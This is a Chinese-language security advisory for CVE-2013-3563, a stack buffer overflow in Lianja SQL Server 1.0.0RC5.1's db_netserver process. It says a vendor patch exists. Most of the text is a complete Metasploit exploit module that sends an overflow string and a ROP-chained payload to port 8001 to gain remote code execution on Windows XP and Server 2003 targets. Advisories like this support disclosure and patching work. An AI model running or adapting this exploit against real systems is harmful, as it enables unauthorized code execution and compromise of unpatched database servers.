发布日期：2013-05-22
更新日期：2013-06-04
受影响系统：
lianja Lianja SQL Server 1.0.0RC5.1
描述：
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BUGTRAQ ID: 60242
CVE(CAN) ID: CVE-2013-3563
Lianja SQL Server是一个数据库服务器，可以存储数据并提供SQL服务。
Lianja SQL Server引发的db_netserver进程中存在栈缓冲区溢出，攻击者可利用此漏洞在受影响服务器上下文中执行任意代码。
<*来源：vendor
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::RopDb
def initialize(info = {})
super(update_info(info,
'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the db_netserver process which
is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-3563' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 20
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'StackAdjustment' => -3500,
'Space' => 500,
'BadChars' => "\x01"
},
'Targets' =>
[
[ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
[ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'May 22 2013'))
register_options(
[
Opt::RPORT(8001),
], self.class)
end
def check
begin
connect
rescue
return Exploit::CheckCode::Safe
end
sock.put("db_net")
if sock.recv(4) =~ /\d{1,5}/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sock.put("db_net")
sock.recv(4)
print_status("#{rhost}:#{rport} - Sending Malicious Data")
evil_data = '000052E1'
evil_data << 'A'
evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
sock.put(evil_data)
disconnect
end
end
建议：
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厂商补丁：
lianja
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：